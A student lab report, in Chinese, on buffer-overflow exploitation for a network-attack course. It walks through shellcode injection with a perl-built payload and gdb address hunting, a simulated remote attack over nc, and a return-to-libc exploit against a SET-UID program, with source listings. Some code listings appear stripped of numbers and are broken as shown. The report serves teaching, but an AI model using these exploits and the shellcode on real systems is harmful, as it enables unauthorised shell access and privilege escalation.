20144306《网络对抗》MAL_PC平台逆向破解_Advanced
PC平台逆向破解_Advanced
一.注入shellcode并执行
1.什么是shellcode?
shellcode顾名思义就是一段为了获取交互式shell的机器指令,是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。
2.如何编写shellcode?
3.如何实现shellcode注入?
- 准备一段shellcode代码:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

- 设置环境:

execstack指令 -s 参数:设置堆栈可执行
-q 参数:查询文件的堆栈是否可执行 结果X表示可执行
echo "" > /proc/sys/kernel/randomize_va_space
表示关闭地址随机化
- 构造payload:
linux两种构造buf的方法:
①retaddr+nop+shellcode //retaddr在缓冲区的位置是固定的,缓冲区比较小的时候shellcode放retaddr后面 ②nop+shellcode+retaddr //缓冲区比较大的时候shellcode放retaddr前面
//nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
选择anything+retaddr+nops+shellcode 结构来构造如下语句:
perl -e 'print "H" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > 4306input_shellcode

\x1\x2\x3\x4代表返回地址,我们需要改成shellcode的地址。
现在求shellcode的地址~~
注入上面的攻击buf:

新打开一个terminal,查询20144306进程号:

第一行4514即是。
调试程序20144306:


反汇编foo函数:

注意ret的位置,我们要在ret处设置断点,目的就是为了查看注入buf的内存地址来分析shellcode的地址:


0xffffd32c存放的的之前瞎猜的返回地址,实际想要的shellcode地址在0xc0319090那条code处,也就是: 0xffffd334。
然后修改之前的注入语句:

再来尝试注入:

成功~
4.再来一段shellcode注入?结合nc模拟远程攻击
这次我们需要两台主机pc1和pc2
先查看pc1的ip地址:

一定要好好设置pc1环境:

这里如果不关闭地址随机化,那么每次foo函数的地址都会随机改变,我们根本就没法预测。
在pc1上运行nc监测4306端口:

另一台主机pc2远程连接,注入buf(这个buf还是之前的buf,下面我们要对此buf进行修改):

在pc1上另开一个terminal,查询可执行文件20144306的进程号,下面步骤就和前面基本一样了,gdb编译20144306,反编译foo,查询esp位置,并计算shellcode的地址:


看到shellcode地址是0xffffd344,在pc2上修改buf:

ok,再来一次:
pc 1输入下面内容:

pc 2输入下面内容:

成功~~
二.Return-to-libc攻击深入
1.关于Return-to-libc
如果攻击者将攻击代码放在堆栈中,但目标设置了非执行堆栈技术,上面的方法就行不通。
再来看下Return-to-libc攻击方法,该方法不需要注入,而利用漏洞函数已有函数完成攻击,让漏洞程序跳转到已有的代码序列。攻击者在实施攻击时仍然可以用恶意代码的地址来覆盖程序函数调用的返回地址,并传递重新设定好的参数使其能够按攻击者的期望运行。这就是为什么攻击者会采用 return-into-libc 的方式,并使用程序提供的库函数。这种攻击方式在实现攻击的同时,也避开了数据执行保护策略中对攻击代码的注入和执行进行的防护。
2.怎么使用Return-to-libc?
- 配置32位linux环境:


- 添加新用户 hsy:

- 切换新建用户完成以下操作:
进入32位linux环境,关闭地址随机化,便于我们计算地址值

设置zsh程序代替/bin/bash,防止/bin/bash中的防护程序发挥作用:

将漏洞程序20144306retlib.c保存在/tmp目录下:

代码如下:
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), , badfile);
return ;
}
20144306retlib.c
- sudo su 切换身份,编译20144306retlib.c,关闭阻止缓冲区溢出的栈保护机制,并为其设置SET-UID来方便提权:

- exit回到新建用户,新建另两个c文件,分别放置读取环境变量的程序和攻击程序:
#include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char const *argv[])
{
char *ptr; if(argc < ){
printf("Usage: %s <environment var> <target program name>\n", argv[]);
exit();
}
ptr = getenv(argv[]);
ptr += (strlen(argv[]) - strlen(argv[])) * ;
printf("%s will be at %p\n", argv[], ptr);
return ;
}
20144306getenvaddr.c
//读取环境变量
//编译一下
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[];
FILE *badfile;
badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[] =0x11111111; // 查询BIN_SH的地址后放入
*(long *) &buf[] =0x22222222; // 查询system()的地址后放入
*(long *) &buf[] =0x33333333; // 查询exit()的地址后放入
fwrite(buf, sizeof(buf), , badfile);
fclose(badfile);
}
20144306exploit.c
//攻击
//不要忘记编译
- 利用20144306getenvaddr来获取BIN_SH的地址:0xffffde1e

- 利用gdb来获得system和exit的地址:

观察到system地址是:0xf7e2eb30,exit地址是:0xf7e227e0
- 回过头来,打开20144306exploit.c进行如下修改,填写查询到的三个地址:

- 删除刚才调试编译的 20144306exploit 程序和 badfile 文件,重新编译修改后的 20144306exploit.c:

- 先运行攻击程序20144306exploit再运行漏洞程序20144306retlib

成功~~
三.本期收获
对shellcode有了初步了解,刚开始做实验不知道自己在干什么,然后在失败中渐渐明白为什么要做这一步以及不做会有什么后果,比如不关地址随机化就没法预测地址,失败次数多了,步骤重复地都能背下来了,这个实验在后门实验后面做的,后门用到了ncat,这里又将shellcode和ncat结合做了个小实践也很有意思,单一的攻击很软,只有多种攻击方式结合才会让目标无所适从,第一次了解Return-to-libc攻击,三个攻击代码都是别人写好的,拿出来用很简单,但是真正理解然后自己仿制却需要更多时间,希望今后能力会有更大提升,先写到这里,这篇应该还可以完善~~
20144306《网络对抗》MAL_PC平台逆向破解_Advanced的更多相关文章
- 20155334 网络对抗PC平台逆向破解(二)
注入Shellcode并运行攻击 shellcode就是一段机器指令(code) 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe) ...
- 20145240《网络对抗》PC平台逆向破解_advanced
PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...
- 20145221高其_PC平台逆向破解_advanced
20145221高其_PC平台逆向破解_advanced 实践目录 shellcode注入 Return-to-libc 攻击实验 shellcode注入 概述 Shellcode实际是一段代码(也可 ...
- 20145218张晓涵 PC平台逆向破解_advanced
---恢复内容开始--- 20145218张晓涵 PC平台逆向破解_advanced shellcode注入 基础知识 shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码 ...
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
随机推荐
- Spring容器AOP的理解
一句话理解:根据被代理对象信息通过Proxy动态生成我们具体的代理类. 实现就动态代理.那动态代理是什么呢? 动态代理其实并不是什么新鲜的东西,学过设计模式的人都应该知道代理模式,代理模式就是一种静态 ...
- 执行RF设置顶层测试套件的描述说明
场景1:通过pybot命令更新套件层描述 命令:pybot -D 套件层描述 -D --doc documentation 设置顶层测试套件的描述说明.说明中下划线将转换为空格, 并且他可能包含简单的 ...
- 一个简单的demo学习Android远程Service(AIDL的使用)
这是milo很早之前写在论坛上的一个帖子,现在整理出来,milo也复习一下一般来说Android 的四大组件都是运行在同一个进程中的,但远程Service运行在不同的进程里.这进程间的通信是使用了An ...
- c# linq update单个字段
1.更新单个字段 /// <summary> /// 更新字段 /// </summary> /// <typeparam name="T">& ...
- 嵌入式系统C编程之堆栈回溯(二)
前言 本文作为<嵌入式系统C编程之堆栈回溯>的补充版.文中涉及的代码运行环境如下: 一 异常信号 信号就是软件中断,用于向正在运行的程序(进程)发送有关异步事件发生的信息.Linux应用 ...
- 笨鸟就要勤奋&专注
最近两天在找工作的过程中颇受打击,两家高大上的公司看起来就是要收集世界上最聪明的人~,在参加G家的online test之前还天真的认为一不小心通过了怎么办呢?考完试之后才发现真的是想多了,关于题目看 ...
- NET的堆和栈04,对托管和非托管资源的垃圾回收以及内存分配
在" .NET的堆和栈01,基本概念.值类型内存分配"中,了解了"堆"和"栈"的基本概念,以及值类型的内存分配.我们知道:当执行一个方法的时 ...
- 利用开源架构ELK构建分布式日志系统
问题导读 1.ELK产生的背景?2.ELK的基本组成模块以及各个模块的作用?3.ELK的使用总计有哪些? 背景 日志,对每个系统来说,都是很重要,又很容易被忽视的部分.日志里记录了程序执行的关键信息, ...
- 【CF878E】Numbers on the blackboard 并查集
[CF878E]Numbers on the blackboard 题意:给你一个长度为n个数列,你每次可以进行如下操作: 选取两个相邻的数x,y(x在y左面),然后将这两个数去掉,用x+2y替换它. ...
- python pytest测试框架介绍一
一.安装 pytest不是python默认的package,需要自动手工安装. pytest支持python 2.6--3.5之间的版本,同时可以在unix及windows上安装 安装方式: pip ...